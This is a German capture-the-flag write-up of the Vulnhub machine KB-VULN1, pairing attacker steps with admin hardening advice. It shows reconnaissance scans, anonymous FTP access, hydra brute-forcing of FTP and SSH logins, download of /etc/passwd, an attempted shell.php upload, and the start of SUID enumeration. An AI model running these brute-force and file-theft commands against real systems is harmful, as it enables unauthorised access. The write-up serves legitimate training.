KB-VULN1 - Vulnhub - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
vi
nikto
nmap
gobuster
ftp
cat
hydra
wget
cd
ll (ls -l)
ssh
sudo
find
python3 -m http.server
ss
id
su
echo
chmod
grep
mkdir
pwd

Inhaltsverzeichnis

Reconnaissance

**Zielsetzung:** In der initialen Phase des Penetrationstests, der Reconnaissance, geht es darum, aktive Ziele im Netzwerk zu identifizieren und grundlegende Informationen über sie zu sammeln, wie offene Ports und laufende Dienste. Dies bildet die Grundlage für gezieltere Angriffe.

┌──(root㉿Cyber)-[~] └─# arp-scan -l
192.168.2.128	08:00:27:09:6b:fc	PCS Systemtechnik GmbH
                    

**Analyse:** Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Geräte auf Layer 2 zu entdecken. Er listet IP- und MAC-Adressen von antwortenden Hosts auf.

**Bewertung:** Ein Host mit der IP-Adresse `192.168.2.128` wurde gefunden. Die MAC-Adresse `08:00:27:09:6b:fc` gehört zum OUI (Organizationally Unique Identifier) von "PCS Systemtechnik GmbH", was typischerweise auf eine Oracle VirtualBox virtuelle Maschine hinweist. Dies ist unser Zielsystem für diesen Test.

**Empfehlung (Pentester):** Das Ziel ist identifiziert. Führe nun Port-Scans und Service-Enumeration auf `192.168.2.128` durch, um Angriffsvektoren zu finden.
**Empfehlung (Admin):** Netzwerküberwachung kann übermäßige ARP-Scans erkennen. Netzwerksegmentierung kann die Sichtbarkeit von Hosts für solche Scans begrenzen. Sicherstellen, dass nur autorisierte Geräte im Netzwerk aktiv sind.

┌──(root㉿Cyber)-[~] └─# vi /etc/hosts
 192.168.2.128   kb-vuln1.vln
                    

**Analyse:** Der Befehl `vi /etc/hosts` öffnet die lokale Hosts-Datei des Angreifer-Systems im `vi`-Editor. Der Eintrag `192.168.2.128 kb-vuln1.vln` wird hinzugefügt. Diese Datei ermöglicht es dem Betriebssystem, Hostnamen direkt IP-Adressen zuzuordnen, ohne DNS-Server zu verwenden.

**Bewertung:** Dieser Schritt ist wichtig, um das Zielsystem über den benutzerdefinierten Hostnamen `kb-vuln1.vln` ansprechen zu können. Manche Webanwendungen oder Dienste sind so konfiguriert, dass sie nur auf Anfragen an einen spezifischen Hostnamen reagieren (Virtual Hosting). Dies stellt sicher, dass unsere späteren Anfragen, insbesondere an den Webserver, korrekt verarbeitet werden.

**Empfehlung (Pentester):** Immer die lokale Hosts-Datei anpassen, wenn ein bestimmter Hostname für den Zugriff benötigt wird, um Konfigurationsprobleme bei der Interaktion mit dem Ziel zu vermeiden.
**Empfehlung (Admin):** Dies ist eine lokale Konfiguration auf der Angreifer-Maschine und hat keine direkte Auswirkung auf das Zielsystem. Es zeigt jedoch, wie Angreifer ihre Umgebung vorbereiten.

Web Enumeration & FTP

**Zielsetzung:** Nachdem die grundlegenden Netzwerkdienste identifiziert wurden, fokussieren wir uns auf die Untersuchung der Webanwendung auf Port 80 und anderer potenziell interessanter Dienste wie FTP auf Port 21, um Schwachstellen, Fehlkonfigurationen oder sensible Informationen zu finden.

┌──(root㉿Cyber)-[~] └─# nikto -h 192.168.2.128
- Nikto v2.5.0
+ Target IP:          192.168.2.128
+ Target Hostname:    192.168.2.128
+ Target Port:        80
+ Start Time:         2023-09-25 14:19:08 (GMT2)
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ /: Server may leak inodes via ETags, header found with file /, inode: 63ea, size: 5ad7b006c93b4, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: HEAD, GET, PST, PTINS .
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /images/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time:           2023-09-25 14:19:22 (GMT2) (14 seconds)
+ 1 host(s) tested
                    

**Analyse:** `nikto` ist ein Webserver-Scanner, der bekannte Schwachstellen, Konfigurationsfehler und interessante Dateien/Verzeichnisse sucht. Hier wurde er direkt gegen die IP-Adresse ausgeführt (`-h 192.168.2.128`). Wichtige Funde sind der Apache/2.4.29 Server, fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`), ein Leak der internen IP (`127.0.1.1`) im Location-Header bei `/images` (CVE-2000-0649), ein möglicher ETag-Inode-Leak, eine veraltete Apache-Version und Directory Indexing für die Verzeichnisse `/css/` und `/images/`. Auch die Standarddatei `/icons/README` wurde gefunden.

**Bewertung:** Nikto hat mehrere Konfigurationsschwächen aufgedeckt (fehlende Header, Directory Indexing, veraltete Software). Das IP-Leak ist bemerkenswert, da es interne Netzwerkinformationen preisgibt. Die browsebaren Verzeichnisse sind interessant, da sie möglicherweise Dateistrukturen und potenziell sensible Dateien offenlegen. Die veraltete Apache-Version stellt ein potenzielles Risiko dar.

**Empfehlung (Pentester):** Untersuche die browsebaren Verzeichnisse `/css/` und `/images/` manuell auf interessante Dateien. Führe einen Nmap-Scan durch, um alle offenen Ports zu finden, nicht nur Port 80. Verwende Gobuster, um weitere Verzeichnisse/Dateien zu finden.
**Empfehlung (Admin):** Implementiere fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`, `Content-Security-Policy`). Aktualisiere Apache auf eine aktuelle, gepatchte Version. Deaktiviere Directory Indexing (z.B. `Options -Indexes` in Apache-Konfiguration). Korrigiere die Konfiguration, die zum Leak der internen IP führt. Beschränke den Zugriff auf Standarddateien wie `/icons/README`.

┌──(root㉿Cyber)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.128 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-25 14:19 CEST
Nmap scan report for kb-vuln1.vln (192.168.2.128)
Host is up (0.00014s latency).
Not shown: 65532 closed tcp ports (reset)
PRT   STATE SERVICE VERSIN
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ffff:192.168.2.199
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open  ssh     penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 95:84:46:ae:47:21:d1:73:7d:2f:0a:66:87:98:af:d3 (RSA)
|   256 af:79:86:77:00:59:3e:ee:cf:6e:bb:bc:cb:ad:96:cc (ECDSA)
|_  256 9d:4d:2a:a1:65:d4:f2:bd:5b:25:22:ec:bc:6f:66:97 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: neSchool — Website by Colorlib
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 08:00:27:09:6B:FC (racle VirtualBox virtual NIC)
Aggressive S guesses: Linux 4.15 - 5.8 (96%), Linux 5.0 - 5.5 (96%), Linux 5.0 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 2.6.32 (94%), Linux 3.2 - 4.9 (94%), Linux 2.6.32 - 3.10 (94%), Linux 5.4 (94%), Linux 5.3 - 5.4 (92%), Linux 3.4 - 3.10 (92%)
No exact S matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.14 ms kb-vuln1.vln (192.168.2.128)
                    

**Analyse:** Dieser Nmap-Scan untersucht alle TCP-Ports (`-p-`) des Ziels (`kb-vuln1.vln` / `192.168.2.128`) auf offene Dienste und versucht, deren Versionen (`-sV`), Betriebssystem (`-A`) und Konfigurationen (mittels Standard-Skripten `-sC`) zu ermitteln. `-sS` ist der SYN-Scan, `-T5` beschleunigt den Scan, `-Pn` überspringt die Ping-Prüfung. Die Ausgabe zeigt drei offene Ports: 21 (FTP, vsftpd 3.0.3), 22 (SSH, OpenSSH 7.6p1) und 80 (HTTP, Apache 2.4.29). Das Nmap-Skript `ftp-anon` meldet, dass anonymer FTP-Login erlaubt ist. Das Betriebssystem wird als Linux geschätzt.

**Bewertung:** Drei Hauptangriffsvektoren wurden identifiziert: FTP, SSH und HTTP. Der erlaubte anonyme FTP-Login ist ein kritischer Fund und der vielversprechendste nächste Schritt, da er oft falsch konfiguriert ist und sensible Daten oder Upload-Möglichkeiten bietet. Die Webanwendung "neSchool" auf Port 80 sollte ebenfalls genauer untersucht werden. SSH ist ein potenzieller Login-Punkt, falls Zugangsdaten gefunden werden.

**Empfehlung (Pentester):** Verbinde dich sofort anonym mit dem FTP-Server (Port 21) und untersuche die Verzeichnisstruktur und Dateiberechtigungen. Untersuche die "neSchool"-Webanwendung auf Port 80 mit Tools wie Gobuster. Behalte SSH (Port 22) für spätere Angriffe im Hinterkopf.
**Empfehlung (Admin):** Deaktiviere anonymen FTP-Zugriff, es sei denn, er ist absolut notwendig und sicher konfiguriert. Wenn FTP benötigt wird, verwende sicherere Alternativen wie SFTP oder FTPS. Halte alle Dienste aktuell. Analysiere die "neSchool"-Webanwendung auf Sicherheitslücken.

┌──(root㉿Cyber)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.128 -p- | grep open
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
                    

**Analyse:** Dies ist eine gefilterte Version der vorherigen Nmap-Ausgabe, die nur die Zeilen mit offenen Ports anzeigt (`| grep open`).

**Bewertung:** Sie dient als schnelle Zusammenfassung der offenen Ports: 21 (FTP), 22 (SSH) und 80 (HTTP). Dies bestätigt die Hauptangriffsflächen.

**Empfehlung (Pentester):** Dient der schnellen Übersicht. Die detaillierte Nmap-Ausgabe liefert mehr Kontext.
**Empfehlung (Admin):** Überprüfe regelmäßig, welche Ports auf Systemen offen sind und ob diese wirklich benötigt werden. Schließe unnötige Ports.

┌──(root㉿Cyber)-[~] └─# gobuster dir -u http://kb-vuln1.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://kb-vuln1.vln/index.html           (Status: 200) [Size: 25578]
http://kb-vuln1.vln/images               (Status: 301) [Size: 313] [--> http://kb-vuln1.vln/images/]
http://kb-vuln1.vln/css                  (Status: 301) [Size: 310] [--> http://kb-vuln1.vln/css/]
http://kb-vuln1.vln/js                   (Status: 301) [Size: 309] [--> http://kb-vuln1.vln/js/]
http://kb-vuln1.vln/fonts                (Status: 301) [Size: 312] [--> http://kb-vuln1.vln/fonts/]
                    

**Analyse:** `gobuster` wird verwendet, um Verzeichnisse und Dateien auf dem Webserver (`http://kb-vuln1.vln`) zu finden. Es werden verschiedene Dateiendungen (`-x`) mit einer Wortliste (`-w`) kombiniert. Statuscodes 403 und 404 werden ignoriert (`-b`).

**Bewertung:** Gobuster findet die Hauptseite (`index.html`) und Standardverzeichnisse für Web-Assets (`images`, `css`, `js`, `fonts`). Der Statuscode `301` deutet auf Weiterleitungen zu den Verzeichnissen mit abschließendem Schrägstrich hin. Es wurden keine versteckten Anwendungsverzeichnisse oder sensiblen Dateien aufgedeckt, was die Nikto-Ergebnisse bestätigt.

**Empfehlung (Pentester):** Da Gobuster keine neuen Pfade gefunden hat, sollte der Fokus auf den FTP-Dienst verlagert werden. Die Webanwendung selbst könnte immer noch clientseitige Schwachstellen oder Logikfehler enthalten.
**Empfehlung (Admin):** Auch wenn hier nichts Kritisches gefunden wurde, ist es gute Praxis, nur notwendige Dateien im Web-Root zu belassen und Directory Indexing zu deaktivieren. Web Application Firewalls (WAFs) können helfen, Directory-Bruteforce-Angriffe zu erkennen.

┌──(root㉿Cyber)-[~] └─# ftp 192.168.2.128
Connected to 192.168.2.128.
220 (vsFTPd 3.0.3)
Name (192.168.2.128:cyber): Anonymous
331 Please specify the password.
Password: [Enter]
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> ls -la
229 Entering Extended Passive Mode (|||59334|)
150 Here comes the directory listing.
drwxrwxr-x    2 1000     1000         4096 Aug 22  2020 .
drwxrwxr-x    2 1000     1000         4096 Aug 22  2020 ..
-rw-r--r--    1 0        0              54 Aug 22  2020 .bash_history
226 Directory send K.

ftp> cd /home
550 Failed to change directory.
ftp> pwd
Remote directory: /
ftp> put shell.php
local: shell.php remote: shell.php
229 Entering Extended Passive Mode (|||65435|)
550 Permission denied.

ftp> exit
                    

**Analyse:** Der Pentester verbindet sich anonym (`Anonymous`, leeres Passwort) mit dem FTP-Server. Der Login ist erfolgreich. Ein `ls -la` im Startverzeichnis (welches `/` zu sein scheint) zeigt eine für alle lesbare `.bash_history`-Datei, die `root` gehört. Versuche, das Verzeichnis zu wechseln (`cd /home`) oder eine Datei hochzuladen (`put shell.php`), schlagen fehl (`Permission denied`).

**Bewertung:** Der anonyme FTP-Zugriff ist bestätigt und ermöglicht Lesezugriff auf das Wurzelverzeichnis des FTP-Servers. Der Fund einer lesbaren `.bash_history` von `root` ist höchst ungewöhnlich und potenziell sehr wertvoll. Fehlende Schreibrechte und die Unmöglichkeit, Verzeichnisse zu wechseln, deuten auf eine eingeschränkte Umgebung hin, verhindern aber nicht den Download der gefundenen Datei.

**Empfehlung (Pentester):** Lade die `.bash_history`-Datei herunter (`get .bash_history`) und analysiere sie auf interessante Befehle, Benutzernamen oder Passwörter.
**Empfehlung (Admin):** Deaktiviere anonymen FTP-Zugriff! Konfiguriere vsftpd sicher (Chrooting). Stelle sicher, dass keine sensiblen Systemdateien über FTP zugänglich sind. Überprüfe die Berechtigungen im FTP-Stammverzeichnis.

┌──(root㉿Cyber)-[~] └─# cat .bash_history
 -- Username : sysadmin -->
                    

**Analyse:** Der Inhalt der (vermutlich zuvor via FTP heruntergeladenen) `.bash_history`-Datei wird angezeigt.

**Bewertung:** Die Datei enthält nur einen Kommentar, der jedoch den Benutzernamen `sysadmin` preisgibt. Dies ist ein sehr wertvoller Fund für weitere Angriffe.

**Empfehlung (Pentester):** Versuche, das Passwort für den Benutzer `sysadmin` mittels Brute-Force gegen die offenen Dienste (FTP, SSH) zu knacken.
**Empfehlung (Admin):** Vermeide es, Benutzernamen oder andere sensible Informationen in Kommentaren oder leicht zugänglichen Dateien zu hinterlassen. Die `.bash_history` sollte niemals über anonymes FTP zugänglich sein.

Initial Access

**Zielsetzung:** Basierend auf dem gefundenen Benutzernamen `sysadmin` versuchen wir nun, durch Passwort-Angriffe (Brute-Force) auf die offenen Dienste FTP und SSH Zugriff auf das System als dieser Benutzer zu erlangen.

┌──(root㉿Cyber)-[~] └─# hydra -l sysadmin -P /usr/share/wordlists/rockyou.txt ftp://kb-vuln1.vln:21 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-25 14:36:01
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344402 login tries (l:1/p:14344402), ~224132 tries per task
[DATA] attacking ftp://kb-vuln1.vln:21/
[21][ftp] host: kb-vuln1.vln   login: sysadmin   password: password1
                    

**Analyse:** `hydra` wird verwendet, um einen Brute-Force-Angriff auf den FTP-Dienst (Port 21) für den Benutzer `sysadmin` durchzuführen, wobei die Passwortliste `rockyou.txt` verwendet wird. Es werden 64 parallele Threads (`-t 64`) genutzt.

**Bewertung:** Erfolg! Hydra findet das Passwort für `sysadmin` auf dem FTP-Dienst: `password1`. Dies ist ein sehr schwaches Passwort und bestätigt die Nützlichkeit des zuvor gefundenen Benutzernamens.

**Empfehlung (Pentester):** Melde dich mit `sysadmin` / `password1` beim FTP-Server an, um dessen Berechtigungen zu prüfen. Versuche dieselben Zugangsdaten auch für SSH.
**Empfehlung (Admin):** Setze starke Passwortrichtlinien durch. Verwende keine einfachen Passwörter. Implementiere Schutzmechanismen gegen Brute-Force-Angriffe (z.B. Fail2Ban). Überwache Login-Versuche.

┌──(root㉿Cyber)-[~] └─# ftp 192.168.2.128
Connected to 192.168.2.128.
220 (vsFTPd 3.0.3)
Name (192.168.2.128:cyber): sysadmin
331 Please specify the password.
Password: password1 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
                    

**Analyse:** Der Pentester meldet sich erneut beim FTP-Server an, diesmal erfolgreich mit dem Benutzer `sysadmin` und dem Passwort `password1`.

**Bewertung:** Der Zugriff als `sysadmin` über FTP ist bestätigt.

**Empfehlung (Pentester):** Untersuche die Dateien und Verzeichnisse, auf die `sysadmin` Zugriff hat.
**Empfehlung (Admin):** Siehe vorherige Empfehlung bezüglich starker Passwörter und Brute-Force-Schutz.

ftp> ls -la
229 Entering Extended Passive Mode (|||7010|)
150 Here comes the directory listing.
drwxr-xr-x    5 1000     1000         4096 Aug 22  2020 .
drwxr-xr-x    3 0        0            4096 Aug 22  2020 ..
-rw-------    1 1000     1000           16 Aug 22  2020 .bash_history
-rw-r--r--    1 1000     1000          220 Apr 04  2018 .bash_logout
-rw-r--r--    1 1000     1000         3771 Apr 04  2018 .bashrc
drwx------    2 1000     1000         4096 Aug 22  2020 .cache
drwx------    3 1000     1000         4096 Aug 22  2020 .gnupg
-rw-r--r--    1 1000     1000          807 Apr 04  2018 .profile
drwxrwxr-x    2 1000     1000         4096 Aug 22  2020 ftp
-rw-r--r--    1 0        0              33 Aug 22  2020 user.txt
226 Directory send K.
                    

**Analyse:** Der Befehl `ls -la` im Home-Verzeichnis des `sysadmin`-Benutzers (UID/GID 1000) zeigt Standard-Konfigurationsdateien, ein GnuPG-Verzeichnis (`.gnupg`), ein Unterverzeichnis namens `ftp` und eine Datei namens `user.txt`, die `root` gehört, aber für alle lesbar ist.

**Bewertung:** Das Home-Verzeichnis von `sysadmin` ist zugänglich. Die lesbare `user.txt` ist der wichtigste Fund hier und stellt die User-Flagge dar. Das `ftp`-Unterverzeichnis ist ebenfalls interessant.

**Empfehlung (Pentester):** Lade die `user.txt` herunter (`get user.txt`). Untersuche das `ftp`-Verzeichnis (`cd ftp`, `ls -la`). Versuche weiterhin, dieselben Zugangsdaten für SSH zu verwenden.
**Empfehlung (Admin):** Die User-Flagge sollte nicht im Home-Verzeichnis liegen und lesbar sein. Berechtigungen überprüfen. Das `ftp`-Verzeichnis deutet auf eine Verbindung zum anonymen FTP hin.

┌──(root㉿Cyber)-[~] └─# wget -r ftp://sysadmin:password1@192.168.2.128
--2023-09-25 14:37:30--  ftp://sysadmin:*password*@192.168.2.128/
                       (Login als sysadmin/password1)... Logged in!
==> SYST ... done.    ==> PWD ... done.
... (Dateiliste und Download-Fortschritt) ...
FINISHED --2023-09-25 14:37:30--
Total wall clock time: 0.1s
Downloaded: 9 files, 9.1K in 0.002s (4.04 MB/s)
                    

**Analyse:** Der Befehl `wget -r` wird verwendet, um rekursiv alle Dateien vom FTP-Server herunterzuladen, auf die `sysadmin` mit dem Passwort `password1` Zugriff hat.

**Bewertung:** Dies ist eine effiziente Methode, um alle zugänglichen Dateien, einschließlich `user.txt`, lokal zu sichern. Die Dateien werden im Verzeichnis `192.168.2.128` gespeichert.

**Empfehlung (Pentester):** Untersuche die lokal heruntergeladenen Dateien, insbesondere `user.txt`.
**Empfehlung (Admin):** Beschränke den FTP-Zugriff auf das Notwendigste. Überwache große oder rekursive Downloads.

ftp> mkdir .ssh
550 Permission denied.
ftp> cd /home
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||43670|)
150 Here comes the directory listing.
drwxr-xr-x    3 0        0            4096 Aug 22  2020 .
drwxr-xr-x   24 0        0            4096 Aug 22  2020 ..
drwxr-xr-x    5 1000     1000         4096 Aug 22  2020 sysadmin
226 Directory send K.
                    

**Analyse:** Innerhalb der `sysadmin` FTP-Sitzung schlägt der Versuch fehl, das Verzeichnis `.ssh` zu erstellen (`Permission denied`). Ein Wechsel nach `/home` ist erfolgreich und zeigt das `sysadmin`-Verzeichnis.

**Bewertung:** Der `sysadmin`-Benutzer hat über FTP keine Schreibrechte in seinem Home-Verzeichnis, um SSH-Keys zu platzieren.

**Empfehlung (Pentester):** Der SSH-Zugriff muss mit dem gefundenen Passwort versucht werden.
**Empfehlung (Admin):** Gut, dass hier keine Schreibrechte vorhanden sind. FTP-Zugriff weiter einschränken.

┌──(root㉿Cyber)-[~] └─# cd 192.168.2.128
┌──(root㉿Cyber)-[~/192.168.2.128] └─# ll
insgesamt 8
drwxr-xr-x 2 root root 4096 25. Sep 14:37 ftp
-rw-r--r-- 1 root root   33 22. Aug 2020  user.txt
                    
┌──(root㉿Cyber)-[~/192.168.2.128] └─# cat user.txt
c7d0a8de1e03b25a6f7ed2d91b94dad6 
                    

**Analyse:** Der Pentester wechselt lokal in das durch `wget` erstellte Verzeichnis `192.168.2.128`, listet den Inhalt auf (`ftp`-Verzeichnis und `user.txt`) und gibt `user.txt` aus.

**Bewertung:** Die User-Flagge wurde erfolgreich heruntergeladen und ausgelesen: `c7d0a8de1e03b25a6f7ed2d91b94dad6`. Dies ist der erste wichtige Meilenstein.

**Empfehlung (Pentester):** User-Flagge dokumentieren. Nun den SSH-Zugang mit `sysadmin` / `password1` versuchen.
**Empfehlung (Admin):** Die User-Flagge ist kompromittiert. Siehe vorherige Empfehlungen zur Absicherung von FTP und Dateiberechtigungen.

ftp> get /etc/passwd
local: /etc/passwd remote: /etc/passwd
229 Entering Extended Passive Mode (|||33692|)
150 pening BINARY mode data connection for /etc/passwd (1673 bytes).
100% |*|  1673       33.94 MiB/s    00:00 ETA
226 Transfer complete.
1673 bytes received in 00:00 (364.35 KiB/s)

ftp> put shell.php
local: shell.php remote: shell.php
229 Entering Extended Passive Mode (|||38256|)
550 Permission denied.
                    

**Analyse:** Innerhalb der `sysadmin` FTP-Sitzung wird die Systemdatei `/etc/passwd` erfolgreich heruntergeladen. Der Versuch, `shell.php` hochzuladen, schlägt fehl.

**Bewertung:** Der Download von `/etc/passwd` ist ein schwerwiegendes Informationsleck, da die Datei lokale Benutzerkonten auflistet. Fehlende Schreibrechte verhindern Uploads.

**Empfehlung (Pentester):** Analysiere die heruntergeladene `/etc/passwd`-Datei auf interessante Benutzerkonten.
**Empfehlung (Admin):** FTP-Zugriff darf niemals Lesezugriff auf `/etc/passwd` erlauben! Konfiguriere den FTP-Server sicher (Chrooting) und verhindere den Zugriff auf Systembereiche.

ftp> cd ftp
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||10857|)
150 Here comes the directory listing.
drwxrwxr-x    2 1000     1000         4096 Aug 22  2020 .
drwxr-xr-x    5 1000     1000         4096 Aug 22  2020 ..
-rw-r--r--    1 0        0              54 Aug 22  2020 .bash_history
226 Directory send K.
ftp> mkdir .ssh
550 Permission denied.
                    

**Analyse:** Der Pentester wechselt innerhalb der `sysadmin` FTP-Sitzung in das Unterverzeichnis `ftp` und listet dessen Inhalt auf. Es enthält die `.bash_history`, die auch anonym zugänglich war. Der Versuch, `.ssh` zu erstellen, schlägt fehl.

**Bewertung:** Dies bestätigt, dass das `ftp`-Unterverzeichnis wahrscheinlich das Stammverzeichnis für anonyme Logins ist. `sysadmin` hat auch hier keine Schreibrechte oder Rechte zum Erstellen von Verzeichnissen.

**Empfehlung (Pentester):** Der FTP-Dienst bietet keine weiteren Angriffsvektoren. Fokus auf SSH.
**Empfehlung (Admin):** Überprüfe die Berechtigungen des `ftp`-Verzeichnisses. Konfiguriere vsftpd sicher bezüglich Schreib-/Erstellvorgängen.

┌──(root㉿Cyber)-[~] └─# hydra -l sysadmin -P /usr/share/wordlists/rockyou.txt ssh://kb-vuln1.vln:22 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-25 14:59:06
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
...
[22][ssh] host: kb-vuln1.vln   login: sysadmin   password: password1
...
1 of 1 target successfully completed, 2 valid passwords found
...
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-09-25 14:59:19
                     

**Analyse:** Hydra wird erneut eingesetzt, diesmal um das Passwort für `sysadmin` auf dem SSH-Dienst (Port 22) zu finden. Das Ziel ist `ssh://kb-vuln1.vln:22`.

**Bewertung:** Erfolg! Hydra findet dasselbe Passwort `password1` auch für den SSH-Zugang. Passwort-Wiederverwendung ist bestätigt.

**Empfehlung (Pentester):** Nutze nun die bestätigten SSH-Zugangsdaten (`sysadmin` / `password1`) für den Login.
**Empfehlung (Admin):** Passwort-Wiederverwendung unterbinden! Brute-Force-Schutz für SSH (Fail2Ban). Key-basierte Authentifizierung bevorzugen.

┌──(root㉿Cyber)-[~] └─# ssh sysadmin@kb-vuln1.vln
sysadmin@kb-vuln1.vln's password: password1

			WELCME T THE KB-SERVER

Last login: Sat Aug 22 18:00:48 2020
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

sysadmin@kb-server$
                    

**Analyse:** Der Pentester meldet sich per SSH als `sysadmin` mit dem Passwort `password1` an.

**Bewertung:** Der Login ist erfolgreich! Eine interaktive Shell als Benutzer `sysadmin` wurde erlangt. Der Initial Access ist somit abgeschlossen.

**Empfehlung (Pentester):** Beginne mit der Enumeration für die Privilegieneskalation (`sudo -l`, `find`, `id`, `ps`, `ss` etc.).
**Empfehlung (Admin):** Siehe vorherige Empfehlungen zu Passwortsicherheit, Brute-Force-Schutz und SSH-Überwachung.

Privilege Escalation

**Zielsetzung:** Nach Erlangung des initialen Zugriffs als `sysadmin` ist das nächste Ziel, die Berechtigungen auf dem System zu `root` zu erhöhen. Dies erfordert die Suche nach Fehlkonfigurationen, Schwachstellen oder unbeabsichtigten Berechtigungspfaden.

sysadmin@kb-server$ sudo -l
[sudo] password for sysadmin: password1
Sorry, user sysadmin may not run sudo on kb-server.
                    

**Analyse:** Der Befehl `sudo -l` prüft die `sudo`-Berechtigungen für `sysadmin`.

**Bewertung:** Der Benutzer `sysadmin` hat keine `sudo`-Berechtigungen. Dieser Eskalationsweg ist blockiert.

**Empfehlung (Pentester):** Suche nach anderen Vektoren: SUID, Kernel-Exploits, Cron-Jobs, unsichere Berechtigungen, Gruppenzugehörigkeiten.
**Empfehlung (Admin):** Korrekte Konfiguration. Nur notwendige `sudo`-Rechte vergeben.

sysadmin@kb-server$ find / -type f -perm -4000 -ls 2>/dev/null
   262246    100 -rwsr-xr-x   1 root     root       100760 Nov 23  2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
   131755     44 -rwsr-xr--   1 root     messagebus    42992 ct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   131876     12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   131437     16 -rwsr-xr-x   1 root     root          14328 Jan 12  2022 /usr/lib/policykit-1/polkit-agent-helper-1
   131551    128 -rwsr-xr-x   1 root     root         130264 May 29 12:10 /usr/lib/snapd/snap-confine
   135557    428 -rwsr-xr-x   1 root     root         436552 Aug 11  2021 /usr/lib/openssh/ssh-keysign
   130964     76 -rwsr-xr-x   1 root     root          76496 Nov 29  2022 /usr/bin/chfn
   131414     24 -rwsr-xr-x   1 root     root          22520 Jan 12  2022 /usr/bin/pkexec
   134343     40 -rwsr-xr-x   1 root     root          37136 Nov 29  2022 /usr/bin/newuidmap
   131188     44 -rwsr-xr-x   1 root     root          44528 Nov 29  2022 /usr/bin/chsh
   131496    148 -rwsr-xr-x   1 root     root         149080 Apr  4 12:44 /usr/bin/sudo
   131723     60 -rwsr-xr-x   1 root     root          59640 Nov 29  2022 /usr/bin/passwd
   131250     52 -rwsr-sr-x   1 daemon   daemon        51464 Feb 20  2018 /usr/bin/at
   134341     40 -rwsr-xr-x   1 root     root          37136 Nov 29  2022 /usr/bin/newgidmap
   131521     76 -rwsr-xr-x   1 root     root          75824 Nov 29  2022 /usr/bin/gpasswd
   131893     40 -rwsr-xr-x   1 root     root          40344 Nov 29  2022 /usr/bin/newgrp
   131684     20 -rwsr-xr-x   1 root     root          18448 Jun 28  2019 /usr/bin/traceroute6.iputils
